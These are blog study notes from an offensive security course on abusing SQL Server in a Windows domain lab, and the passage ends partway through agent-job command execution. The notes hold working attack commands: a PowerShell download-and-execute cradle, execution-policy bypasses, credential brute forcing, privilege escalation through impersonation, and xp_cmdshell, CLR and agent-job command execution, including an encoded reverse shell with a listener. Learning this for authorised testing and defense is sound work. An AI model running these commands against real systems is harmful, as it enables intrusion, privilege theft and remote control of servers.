Abusing SQL Server Trusts in a Windows Domain (video notes)

hackingandsecurity.blogspot.com/2018/09/abusing-sql-server-trusts-in-windows.html

Video 1 - Introduction:

Course Content:
- Introduction to SQL server:
  - SQL server roles and privileges
  - introduction to PowerShell
- Discovery, Enumeration and Scanning
- Brute Force Attacks
- Privilege Escalation
- OS Command Execution
- Trust abuse and Lateral movement
- Persistence
- Identifying Juicy Information
- Defenses and Detection!

##############################
Video 2 - SQL Server:

- Integrates with domain by providing Windows authentication
- used by many enterprise applications
- most enterprise networks have sizable number of SQL server instances

Principals:
- Principals (read - account types) can be used to access resources from a SQL Server Instance.
- every Principal has a Security Identifier (SID)
- Scope of principals depends on the definition:
  - Windows Users (Mapped to Logins)
  - SQL Server Logins (Used to connect to an instance)
  - Database Users (used to determine permissions within a database)

- Nine fixed server roles (permissions cannot be changed except for public) and user-defined server roles.
- Each member of a fixed server role can add other logins to that same role:
  - sysadmin - God mode :)
  - securityadmin - Path to God mode (Grant access and configure user permissions)
  - public - Everyone (Connect and View any definition)

Look up SQL Server - Roles and Privileges!
https://docs.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles

##############################

Video 3 - PowerShell:

- Provides access to almost everything in a Windows platform and Active Directory Environment which could be useful for an attacker.
- Provides the capability of running powerful scripts completely from memory making it ideal for foothold shells/boxes.
- Easy to Learn and really Powerful!
- Based on the .NET framework and is tightly integrated with Windows.
- PowerShell Core is platform independent.

PowerShell Help System:
Get-Help Get-Help

- Shows a brief help about the cmdlet or topic
- support wildcard
- comes with various options and filters
- Get-Help, Help and -? Could be used to display help!
- Get-Help About_ could be used to get help for conceptual topics.

Example:
Get-Help Get-Help
Get-Help get-process
help get-process //lists everything which contains the word process
Get-Help * //lists everything about the help topics
Get-Help -Examples
Get-Help -Full
Get-Help Get-Item -Full //lists full help about a topic (Get-Item cmdlet in this case)
Get-Help Get-Item -Examples //lists examples of how to run a cmdlet (Get-Item cmdlet in this case)
Update-Help //update the help system(v3+)
help Get-Process -Full
Get-Alias -Definition help

- we can also try:
PS C:\Users\victim.LETHALLAB> help process

Name	Category	Module	Synopsis
Enter-PSHostProcess	Cmdlet	Microsoft.PowerShell.Core	...
Exit-PSHostProcess	Cmdlet	Microsoft.PowerShell.Core	...
Get-PSHostProcessInfo	Cmdlet	Microsoft.PowerShell.Core	...
Debug-Process	Cmdlet	Microsoft.PowerShell.M...	...
Get-Process	Cmdlet	Microsoft.PowerShell.M...	...
Start-Process	Cmdlet	Microsoft.PowerShell.M...	...
Stop-Process	Cmdlet	Microsoft.PowerShell.M...	...
Wait-Process	Cmdlet	Microsoft.PowerShell.M...	...

Cmdlets:

- are used to perform an action and a .NET object is returned as the output
- cmdlets accept parameters for different operations
- they have aliases
- these are NOT executables, you can write your own cmdlet with few lines of script!

```
PS C:\Users\victim.LETHALLAB> Get-Alias -Definition get-process

CommandType     Name                                Version    Source
-----------     ----                                -------    ------
Alias           gps -> Get-Process
Alias           ps -> Get-Process
```

- Use the below command for listing of all cmdlets:
Get-Command -CommandType cmdlet

- There are many interesting cmdlets from a pentester's perspective!
For example: 'Get-Process' lists processes running on a system!

```
PS C:\Users\victim.LETHALLAB> get-command -commandtype cmdlet |Measure-
Object
Count    : 489
Average  :
Sum      :
Maximum  :
Minimum  :
Property :
```

PowerShell Scripts:
- use cmdlets, native commands, functions, .Net, DLLs, Windows API and much more in a single 'program'
- PowerShell scripts are really powerful and could do much stuff in less lines.
- Easy syntax (mostly;) and easy to execute.

PowerShell Scripts:ISE
- it is a GUI Editor/Scripting Environment
- tab completion, context-sensitive help, syntax highlighting, selective execution, in-line help are some of the useful features.
- comes with a handy console pane to run commands from the ISE.

PowerShell Scripts: Execution Policy
- it is NOT a security measure, it is present to prevent users from accidentaly executing scripts
- Several ways to bypass:
Powershell -executionpolicy bypass .\script.ps1
powershell -c
powershell -enc

```
PS C:\Users\victim.LETHALLAB\Downloads> .\Get-SQLInstance.ps1
.\Get-SQLInstance.ps1 : File C:\Users\victim.LETHALLAB\Downloads\Get-
SQLInstance.ps1 cannot be loaded because running
scripts is disabled on this system.
PS C:\Users\victim.LETHALLAB> Get-ExecutionPolicy
Restricted
PS C:\Users\victim.LETHALLAB> powershell.exe -ExecutionPolicy bypass
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Users\victim.LETHALLAB> cd .\Downloads\
PS C:\Users\victim.LETHALLAB\Downloads> ls
    Directory: C:\Users\victim.LETHALLAB\Downloads
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/2/2018   1:48 PM          12753 Get-SQLInstance.ps1
PS C:\Users\victim.LETHALLAB\Downloads> .\Get-SQLInstance.ps1

PowerShell Modules:
- powershell also supports modules
- a module can be imported with:
Import-Module

- all the commands in a module can be listed with:
Get-Command -Module

PS C:\Users\victim.LETHALLAB\Downloads> import-module .\PowerUpSQL-
master\PowerUpSQL.psd1
WARNING: The names of some imported commands from the module 'PowerUpSQL'
include unapproved verbs that might make them
 less discoverable. To find the commands with unapproved verbs, run the Import-
Module command again with the Verbose
parameter. For a list of approved verbs, type Get-Verb.

PS C:\Users\victim.LETHALLAB\Downloads> import-module .\PowerUpSQL-
master\PowerUpSQL.psd1 -Verbose


VERBOSE: Importing function 'Create-SQLFileXpDll'.
VERBOSE: Importing function 'Get-SQLAgentJob'.
VERBOSE: Importing function 'Get-SQLAssemblyFile'.
VERBOSE: Importing function 'Get-SQLAuditDatabaseSpec'.
VERBOSE: Importing function 'Get-SQLAuditServerSpec'.
VERBOSE: Importing function 'Get-SQLColumn'.
VERBOSE: Importing function 'Get-SQLColumnSampleData'.

PS C:\Users\victim.LETHALLAB\Downloads> get-command -module PowerUpSQL
CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
```

```
Function        Create-SQLFileCLRDll                 1.104.11    PowerUpSQL
Function        Create-SQLFileXpDll                  1.104.11    PowerUpSQL
Function        Get-SQLAgentJob                      1.104.11    PowerUpSQL
Function        Get-SQLAssemblyFile                  1.104.11    PowerUpSQL
Function        Get-SQLAuditDatabaseSpec                 1.104.11    PowerUpSQL
Function        Get-SQLAuditServerSpec                   1.104.11    PowerUpSQL
```

PS C:\Users\victim.LETHALLAB\Downloads>

Whenever there is a command execution opportunity, PowerShell scripts can be executed using the following methods:
-> Download execute cradle:
iex(New-Object Net.WebClient).DownloadString('https://webserver/payload.ps1')

-> Encodedcommand

Check Out Invoke-CradleCrafter:
https://github.com/danielbohannon/Invoke-CradleCrafter

SQLServer and PowerShell:
Powershell can be used to connect to SQL Server using any of the following methods:
- SQLPS module
- SQL Server Management Objects (SMO)
- .NET (System.Data.SQL and System.Data.SQLClient)

PowerUpSQL:
A PowerShell toolkit for attacking SQL servers:
https://github.com/NetSPI/PowerUpSQL
"The PowerUpSQL module includes functions that support SQL Server discovery, auditing for common weak configurations, and privilege escalation on scale."

##################################
Video 4 - Discovering SQL Server within the Domain:

Discovery, Enumeration and Scanning
- TCP/UDP port scan - can be done by any user connected to the network to discover SQL Servers listening on a network port
- Local Enumeration (if we have a shell on the local computer) - instances running on a machine where we have local access
- Domain Enumeration - Service Principal Name (SPN) scanning

TCP/UDP Port Scan:
- useful to find those SQL servers which are configured to accept remote connections

- invoke-portscan - from Nishang
https://github.com/samratashok/nishang

Import-Module .\PowerUpSQL-master\PowerUpSQL.psd1
get-SQLInstanceScanUDP
(provide computer IP instead of name or name)

Example: what showed in the video, was different than what I could do, in my Windows 10 vm.
Below is what worked for me, even though through trials:

PS C:\Users\victim.LETHALLAB\Downloads\PowerSploit-master\PowerSploit-master\Recon> Import-Module .\Invoke-Portscan.ps1
PS C:\Users\victim.LETHALLAB\Downloads\PowerSploit-master\PowerSploit-master\Recon> invoke-portscan -StartAddress 192.16
8.2.1 -endaddress 192.168.2.254 -scanport -Verbose
Invoke-Portscan : A parameter cannot be found that matches parameter name 'StartAddress'.

- I tried looking up the Invoke-PortScan command, which would have given me clues about the options available:
PS C:\Users\victim.LETHALLAB\Downloads\PowerSploit-master\PowerSploit-master\Recon> help Invoke-Portscan

- and then finally with some examples:
PS C:\Users\victim.LETHALLAB\Downloads\PowerSploit-master\PowerSploit-master\Recon> get-help Invoke-Portscan -Examples

- and how we scan the whole subnet:
PS C:\Users\victim.LETHALLAB\Downloads\PowerSploit-master\PowerSploit-master\Recon> Invoke-Portscan -hosts 192.168.2.1/24 -ports "1433" -T 4

And the result is:
Hostname : 192.168.2.106
alive : True
openPorts : {}
closedPorts : {}
filteredPorts : {1433}
finishTime : 9/6/2018 12:25:41 AM

- using .NET:
[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()

And the result is:
ServerName InstanceName IsClustered Version
---------- ------------ ----------- -------
WIN2016SRV

Important: If you run the command and get no result, make sure that you have the Network Discovery Protocol turned on, or it may not work! The command above is a very useful command, as it searches the subnet for an SQL Server!

Local Enumeration (Local Access to an SQL Server), so the command below are ran on an SQL server:
- using SQLPS module:

```
import-module -name SQLPS
get-childitem SQLServer:\SQL\get-childitem
```

Example:
(there's something wrong with the command from the video)

```
PS SQLSERVER:\> get-childitem SQLserver:\\SQL\get-childitem win2016srv
WARNING: Could not obtain SQL Server Service information. An attempt to connect to
WMI on 'get-childitem' failed with
the following error: The RPC server is unavailable. (Exception from HRESULT:
0x800706BA)
get-childitem : Cannot call method. The provider does not support the use of filters.
At line:1 char:1
+ get-childitem SQLserver:\\SQL\get-childitem win2016srv
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotImplemented: (:) [Get-ChildItem],
PSNotSupportedException
    + FullyQualifiedErrorId :
NotSupported,Microsoft.PowerShell.Commands.GetChildItemCommand

PS SQLSERVER:\> get-childitem SQLserver:\\SQL\
MachineName
-----------
WIN2016SRV

PS SQLSERVER:\> get-childitem SQLserver:\\SQL\win2016srv
Instance Name
-------------
SQLEXPRESS
PS SQLSERVER:\>
```

- works for remote server as well and needs admin on the target

```
Get-Service -Name MSSQL*
```

Example ran on Win2016SRV:

```
PS SQLSERVER:\> get-service -Name MSSQL*
Status   Name               DisplayName
------   ----               -----------
Running  MSSQL$SQLEXPRESS   SQL Server (SQLEXPRESS)
```

Or Using Registry Keys:

```
$sqlinstances = Get-ItemProperty -Path 'hklm:\Software\Microsoft\Microsoft SQL
Server'
foreach ($SqlInstance in $SqlInstances) {
foreach ($s in $SQLInstance.InstalledInstances){
[PSCustomObject]@{
PSComputerName = $SqlInstance.PSComputerName
InstanceName = $s}}}
```

Using PowerUpSQL:
- uses services to enumerate
Get-SQLInstanceLocal

Domain Enumeration:
- a SPN (service principal name) is a unique identifier of a service instance in Active Directory forest.
- SPN scanning helps in discovering services quietly and reliably.

- it is possible to search an AD user attributes for "servicePrincipalName=MSSQL *"

- and list all SQL servers:
Get-SQLInstanceDomain

Example:
PS C:\Users\victim.LETHALLAB\Downloads\PowerSploit-master\PowerSploit-master\Recon> Get-SQLInstanceDomain
ComputerName : WIN2016SRV.lethallab.local
Instance : WIN2016SRV.lethallab.local\SQLEXPRESS
DomainAccountSid : 150000052100025112261481251551562491820024247894 00
DomainAccount : WIN2016SRV$
DomainAccountCn : WIN2016SRV
Service : MSSQLSvc
Spn : MSSQLSvc/WIN2016SRV.lethallab.local:SQLEXPRESS
LastLogon : 9/5/2018 9:14 PM
Description :

PS C:\Users\victim.LETHALLAB\Downloads\PowerSploit-master\PowerSploit-master\Recon> Get-SQLInstanceDomain -verbose
VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
VERBOSE: Parsing SQL Server instances from SPNs...
VERBOSE: 1 instances were found.

ComputerName : WIN2016SRV.lethallab.local
Instance : WIN2016SRV.lethallab.local\SQLEXPRESS
DomainAccountSid : 150000052100025112261481251551562491820024247894 00
DomainAccount : WIN2016SRV$
DomainAccountCn : WIN2016SRV
Service : MSSQLSvc
Spn : MSSQLSvc/WIN2016SRV.lethallab.local:SQLEXPRESS
LastLogon : 9/5/2018 9:14 PM
Description :

Hands-On #1:
Discover instance of SQL Server in the target domain using various enumeration methods!

##############################

Video 5 - Brute Force Attacks:

- brute force attacks are very noisy but very fruitful as well specially when it comes to databases
- How many organizations monitor brute force attacks against SQL servers on a non-productive system?
- we can brute force for database logins and domain users (which are actually mapped to database logins).
- we need to make sure we don't throttle the account or lock it out! This will stand out and be very noisy!

Brute-Force Attacks - Database User:
- Invoke-BruteForce from Nishang:
$comps | Invoke-BruteForce -UserList c:\dict\users.txt -PasswordList c:\dict\passwords.txt -Service SQL -Verbose

- Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Username sa -Password Password -verbose

Example:
. .\Tools\Invoke-BruteForce.ps1
help Invoke-BruteForce -examples
(Get-SQLInstanceDomain).ComputerName

- Check if the current domain user has access to a database:
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

- Check if an alternative domain user has access to a database:
runas /noprofile /netonly /user: powershell.exe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

Reference:
https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/

Get-Command *info*

Get-SQLInstanceDomain | Get-SQLServerInfo

We can enumerate database users on the databases with Public role and can then brut-force them:
SELECT SUSER_NAME(1)
SELECT SUSER_NAME(2)
SELECT SUSER_NAME(3)
.
.
SELECT SUSER_NAME(200)

- This can be automated using PowerUPSql:
Get-SQLFuzzServerLogin -Instance ops-mssql -Verbose

- Once we have database users, a brute-force attack can be initiated:
Invoke-BruteForce -ComputerName ops-sqlsrvone -UserList c:\dict\users.txt -PasswordList c:\dict\passwords.txt -Service SQL -Verbose

Reference: https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/

Example:
Invoke-BruteForce -ComputerName ops-mssql -UserList .\Tools\users.txt -PasswordList .\Tools\10k-worst-pass.txt -StopOnSuccess -Verbose

Prompt from the command:
Service: SQL

Hands-On Number 2:
Run brute force attacks against SQL Server instances discovered in earlier exercises.

##############################
Video 6 - Post Exploitation - Data Enumeration:

After getting access to an SQL server, interesting information can be gathered:

Version - Select @@version

Current User - SELECT SUSER_SNAME(), SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
(if we get a 1 it means we are sysadmin with the current user)

Current Role - SELECT user

Current Database - SELECT db_name()

List all databases - SELECT name FROM master..sysdatabases

(if below is run with sysadmin privs - more logins are shown)
All logins on server:
SELECT * FROM sys.server_principals WHERE type_desc != 'SERVER_ROLE'

All database users from a database:
SELECT * FROM sys.database_principals WHERE type_desc != 'DATABASE_ROLE'

We can use software called HeidiSQL_9.4_Portable to create a session and start querying!

(if below is run with sysadmin privs - more logins are shown)
List all sysadmin:
SELECT name, type_desc, is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin', name) = 1

List all database roles:
use accessdb
SELECT DP1.name AS DatabaseRoleName, isnull(DP2.name, 'No members') AS DatabaseUserName
FROM sys.database_role_members AS DRM
RIGHT OUTER JOIN sys.database_principals AS DP1
  ON DRM.role_principal_id = DP1.principal_id
LEFT OUTER JOIN sys.database_principals AS DP2
  ON DRM.member_principal_ID = DP2.principal_id
Where DP1.type = 'R'
ORDER BY DP1.name;

Reference:
https://docs.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-role-members-transact-sql

######
Effective Permissions:
For the server:
SELECT * FROM fn_my_permissions (NULL, 'SERVER');

For the database:
fn_my_permissions(NULL, 'DATABASE');

Active user token:
SELECT * FROM sys.user_token

Active login token:
SELECT * FROM sys.login_token

################################
Video 7 - Privilege Escalation Impersonation:

User Impersonation (EXECUTE AS)
- when EXECUTE AS is used, the execution context is switched to the specified login or user name.
- impersonation allows impersonation of other users and logins to be able to access resources which means it can be used to use privileges and objects available to other users.

Reference:
https://docs.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql

SQL Servers can be abused in multiple ways to escalate privileges:
- brute force (already discussed)
- public to sysadmin (misconfigured roles and databases, poorly written stored procedures, excessive permissions)

- sysadmin to OS Service Account (command execution, UNC path)
- OS Service Account to OS Admin
- OS admin to sysadmin

Find SQL Server logins which can be impersonated in the current database:
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'

Reference:
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-user-impersonation/

Find Logins which can be impersonated:
Invoke-SQLAuditPrivImpersonateLogin -Username sqluser -Password Sql@123 -Instance ops-mssql -Verbose

Invoke-SQLAuditPrivImpersonateLogin -Username sqluser -Password Sql@123 -Instance ops-mssql -Verbose - Exploit

############
Exploiting impersonation:
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'dbadmin'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()

Exploiting impersonation (note the difficulty in automating the abuse of chained/nested impersonation):
Invoke-SQLAuditPrivImpersonateLogin -Instance ops-sqlsrvone.lethallab.local -Exploit -Verbose

Exploiting chained/nested impersonation:
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'dbadmin'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin')

Hands-On number 3:
Escalate privileges on mssql server by abusing impersonation of database users!

####################################
Video 8 - Privilege Escalation Trustworthy Property:

TrustWorthy Database:
- a database property (is_trustworthy_on) used to indicate whether an SQL instance trusts a database and its contents. The property is turned off by default as a security measure. Only a sysadmin can be set a database to be trustworthy.
- when TRUSTWORTHY is off, impersonated users (by using EXECUTE AS) will only have database-scope permissions but then TRUSTWORTHY is turned on impersonated users can perform actions with server level permissions.
- this allows writing procedures that can execute code which uses server level permissions
- if the TRUSTWORHY setting is set to ON, and if a sysadmin (not necessarily 'sa') is owner of the database, it is possible for the database owner (a user with db_owner) to elevate privileges to sysadmin.
- this works even if 'sa' is disabled.

https://docs.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property
http://sqlity.net/en/1653/the-trustworhy-database-property-explained-part-1/

TrustWorthy Database:
- look for db_owner role (can be done with public role)
use
```
SELECT DP1.name AS DatabaseRoleName,
   isnull (DP2.name, 'No members') AS DatabaseUserName
FROM sys.database_role_members AS DRM
RIGHT OUTER JOIN sys.database_principals AS DP1
   ON DRM.role_principal_id = DP1.principal_id
LEFT OUTER JOIN sys.database_principals AS DP2
   ON DRM.member_principal_id = DP2.principal_id
WHERE DP1.type = 'R'
ORDER BY DP1.name;
```

- Look for TRUSTWORTHY database using PowerUPSQL:
```
Invoke-SQLAudit -Instance win2016srv.lethallab.com -Verbose | Out-GridView

Invoke-SQLAuditPrivTrustworthy -Instance win2016srv -Verbose
```

- Execute AS to elevate privileges:
```
use trust_db
Execute AS User = 'dbo'
SELECT system_user
SELECT IS_SRVROLEMEMBER('sysadmin')     //can be ran by itself also!
EXEC sp_addsrvrolemember 'win2016srv\victim', 'sysadmin'
SELECT IS_SRVROLEMEMBER('sysadmin')
REVERT
SELECT system_user
```

ALTER DATABASE trust_db SET TRUSTWORHY OFF

- if TRUSTWORHY property is turned off we will be unable to execute as it will not have enough permissions
"Cannot alter the server role sysadmin, because it does not exist or you do not have enough permissions".

Hands-on number 3:
- escalate privileges on sqlsrvone server by abusing TRUSTWORHY database
- escalate sqlserver on mssql to sysadmin by abusing user (not login) impersonation and trustworthy database.

##
Video 9 - Command Execution:

Part I:
Now we have sysadmin privileges on an SQL Server, it is possible to execute OS level commands on the server.
What are the privileges with which we can execute commands on an SQL Server? SQL Server service account is almost all cases and agent service account for agent jobs.
SQL Server service account can be:
- Local user, local admin, SYSTEM, Network Service, Local Managed service account
- Domain user, domain admin, domain managed service account.

There are various ways of executing OS COmmands once we have enough privileges:
- xp_cmdShell
- agent jobs (CmdExec, PowerShell, ActiveX, etc)
- Custom Extended Stored Procedures
- Custom CLR Assemblies
- OLE Automation Procedure
- Registry Autoruns
- File Autoruns
- External Scripting

Reference:
https://www.slideshare.net/nullbind/beyong-xpcmdshell-owning-the-empire-through-sql-server

XP_CMDSHELL:
- xp_cmdshell is disabled by default since SQL Server 2005
- the command gets executed with the privileges of SQL Server service account
- Synchronous - Control is not returned to the caller until the command execution is complete. Keep this in mind when running reverse shells using this method
- sysadmin privileges are required to use this stored procedure

- if xp_cmdshell is uninstalled:
sp_addextendedproc 'xp_cmdshell','xplog70.dll'

- if xp_cmdshell is disabled:
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

EXEC master..xp_cmdshell 'whoami'

Nishang:
Execute-Command-MSSQL -ComputerName win2016srv.lethallab.com -UserName sa -Password Password1

PowerUPSQL:
Invoke-SQLOSCmd -username sa -password Password1 -Instance win2016srv.lethallab.com -Command whoami

- a DLL which acts as an extension to SQL Server. The DLL needs to be on the disk!
- sysadmin privileges are required to register each extended stored procedure inside a DLL.
- executes with the privileges of the service account and runs in the process space of SQL Server
- the DLL can have any file extension and can also be loaded from UNC path or WebDav.

Adding an Extended Stored Procedure:
sp_addextenddproc - can be used to register the stored procedure. Note that the function name in the DLL and the command must be exactly the same (case-sensitive)

sp_addextenddproc 'xp_calc', 'c:\mydll\xp_calc.dll'

- Execute the stored procedure:
EXEC xp_calc

- Drop the stored procedure:
sp_addextenddproc 'xp_calc'

- Code sample for DLL can be found here:
https://raw.githubusercontent.com/nullbind/Powershellery/Stable-ish/MSSQL/xp_evil_template.cpp
https://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure

Adding an Extended Stored Procedure
- all this can be automated:
Create-SQLFileXpDll -OutFile c:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc

Get-SqlQuery -UserName sa -Password Password1 -Instance win2016srv -Query "sp_addextenddproc 'xp_calc', '\\192.168.2.2\fileserver\xp_calc.dll'"

Get-SqlQuery -UserName sa -Password Password1 -Instance win2016srv -Query "EXEC xp_calc"

- Listing existing Extended stored procedures:
Get-SQLStoredProcedureXP -Instance win2016srv -verbose

CLR Assemblies:
- CLR(Common Language Runtime) is a run-time environment provided by the .NET Framework. SQL Server supports CLR integration which allows writing stored procedures and other things by importing a DLL.
- CLR integration is off by default and sysadmin privileges are required by-default to use it. Create assembly, Alter assembly or DDL_Admin role can also use it.
- the execution takes place with privileges of the service account

Reference:
https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration

Creating the DLL:
- see cmd_exec.cs for code
- compilation:
C:\Windows\Microsoft.Net\Framework64\v4.0.30319\csc.exe /target:library c:\users\victim\desktop\cmd_exec.cs
- The DLL can be loaded from a local path or a UNC path.

Taken from:
https://blog.netspi.com/attacking-sql-server-clr-assemblies/

Importing and using the DLL:
- enable CLR:
```
use msdb
GO
-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO
-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO
```

Import the assembly and use the stored procedure:
```
--Import the assembly
CREATE ASSEMBLY my_assembly
FROM '\\192.168.2.2\fileserver\cmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
GO
```

or:
use msdb
-- Import Assembly
CREATE ASSEMBLY my_assembly1 FROM '\\192.168.2.2\fileserver\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;

Note: the file share above, must be available for the File SQL Server account.

-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execcommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO

cmd_exec 'whoami'

- Cleanup
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly

Creating stored procedures without using a DLL file
- CREATE ASSEMBLY also accepts hexadecimal string of a CLR DLL:
-- Import the assembly from a file
CREATE ASSEMBLY my_assembly FROM '\\192.168.2.2\fileserver\cmd_exec.dll'

-- Import the assembly from string:
CREATE ASSEMBLY [NMfsa] AUTHORIZATION [DBO] FROM
0x4D5A90....
WITH PERMISSION_SET = UNSAFE

Following command can be used to create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string:
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir c:\users\victim\Desktop

Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir c:\users\victim\Desktop -Verbose

notepad runcmd.txt
We will notice that the command has created the Assembly code, and Procedure!

Use below for executing command using CLR assembly:
Invoke-PowerShellTCPOneLine.ps1

We need to encode our reverse shell:
Invoke-Encode -DataToEncode .\Invoke-PowerShellTcpOneLine.ps1 -OutCommand

And we setup out listener:
.\powercat.ps1
Powercat -lvp 443 -t 1000

In the SQL query type the command and copy the encrypted reverse shell:
EXEC[dbo].[runcmd] 'powershell -e '

Invoke-SQLOSCmdCLR -Username sa -Password Password1 -Instance win2016srv -Command "whoami" -Verbose

Below command can be used to list all the stored procedures added using CLR:
Get-SQLStoredProcedureCLR -Instance win2016srv -verbose

Part II:
OS Command Execution - OLE Automation Procedure
- System stored procedures which allow use of COM objects using SQL queries
- Turned off by default. Sysadmin privileges are required to enable it!
- Execute privileges on sp_OACreate and sp_OAMethod can also be used for execution.
- the execution takes place with privileges of the service account

Reference:
https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option

- Enable OLE automation stored procedures:
```
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
```

- Execute Command:
```
DECLARE @output INT
DECLARE @ProgramToRun VARCHAR(255)
SET @ProgramToRun = 'Run("calc.exe")'
EXEC sp_oacreate 'wScript.Shell', @output out
EXEC sp_oamethod @output, @ProgramToRun
EXEC sp_padestroy @output
```

- To read the output, it can be saved to a file and the content of file need to be read.

Many interesting attacks can be executed. For example, below code spotted in an SQL Server honeypot sets SecurityDescriptor of ftp.exe to everyone:
```
-- Declare variables used to reference the objects
DECLARE @objLocator int, @objwmi int, @objPermiss int, @objFull int;

-- Create a WbemScripting.SWbemLocator object
EXEC sp_OACreate 'WbemScripting.SWbemLocator', @objLocator OUTPUT;
```

```
-- Use the SWbemLocator object's ConnectServer() method to connect to the
-- Local WMI server. The connection will be to the 'root\cimv2' namespace
EXEC sp_OAMethod @objLocator,
'ConnectServer', @objWmi OUTPUT, '.','root\cimv2';

-- Retrieve an SWbemObject that represents the requested object
-- In this case, a Win32_LogicalFileSecuritySetting object for 'ftp.exe'
EXEC sp_OAMethod @objWmi,
'Get',@ObjPermiss OUTPUT,
'Win32_LogicalFileSecuritySetting.Path=''ftp.exe''';
```

Many interesting attacks can be executed. For example, below code spotted in an SQL Server honeypot sets Security Descriptor of ftp.exe to everyone:

```
-- Create an empty SecurityDescriptor
EXEC sp_OAMethod @objwmi, 'Get', @objFull
OUTPUT, 'Win32_SecurityDescriptor';

-- Set the SecurityDescriptor's ControlFlags property to
-- '4' (SE_DACL_PRESENT)
EXEC sp_OASetProperty @objFull, 'ControlFlags', 4;

-- Set the file security setting object's security descriptor to the new
-- SecurityDescritor object
EXEC sp_OAMethod @objPermiss, 'SetSecurityDescriptor', NULL, @objFull;
```

Taken from:
https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/

Automated enabling, execution and reading output:
Invoke-SQLOSCmdCLR -Username sa -Password Password1 -Instance win2016srv -Commnad "whoami" -Verbose

Invoke-SQLOSCmdCLR -Username sa -Password Password1 -Instance win2016srv -Command "powershell -e " -Verbose

or:

Invoke-SQLOSCmdCLR -Instance win2016srv -command 'powershell -e '

And we setup out listener:
.\powercat.ps1
Powercat -lvp 443 -t 1000

####
Agent Jobs
- SQL Server Agent is a Windows service that executes scheduled tasks or jobs
- a job can be scheduled, executed in response to alerts or by using sp_start_job stored procedure.
- needs sysadmin role to create a job
- non-sysadmin users with the SQLAgentUserRole, SQLAgentReaderRole, and

SQLAgentOperatorRole fixed database roles in the msdb database can also be used.
- the execution takes place with privileges of the SQL Server Agent service account if a proxy account is not configured.

Reference:
https://docs.microsoft.com/en-us/sql/ssms/agent/sql-server-agent

Subsystems
Interesting subsystems (job types):
- Microsoft ActiveX Script (VBScript and JScript)
- CmdExec
- PowerShell
- SSIS (SQL Server Integrated Services)

Creating and using a Job
- Start the SQL Server Agent service (xp_startservice)
- Create Job (sp_add_job)
- Add job step (sp_add_jobstep)
- Run Job (sp_start_job)
- Delete Job (sp_delete_job)

Agent Job (PowerShell)
USE msdb

EXEC dbo.sp_add_job @job_name = N'PSJob'

EXEC sp_add_jobstep @job_name = N'PSJob', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -noexit ps', @retry_attempts = 1, @retry_interval = 5

or:
EXEC sp_add_jobstep @job_name = N'PSJob', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -e ', @retry_attempts = 1, @retry_interval = 5

EXEC dbo.sp_add_jobserver @job_name = N'PSJob'
EXEC dbo.sp_start_job N'PSJob';

--EXEC dbo.sp_delete_job @job_name = N'PSJob'

Source: https://www.optiv.com/blog/mssql-agent-jobs-for-command-execution

Agent Job (CmdExec):
USE msdb

EXEC dbo.sp_add_job @job_name = N'cmdjob'

EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1', @subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts = 1, @retry_interval = 5

or:
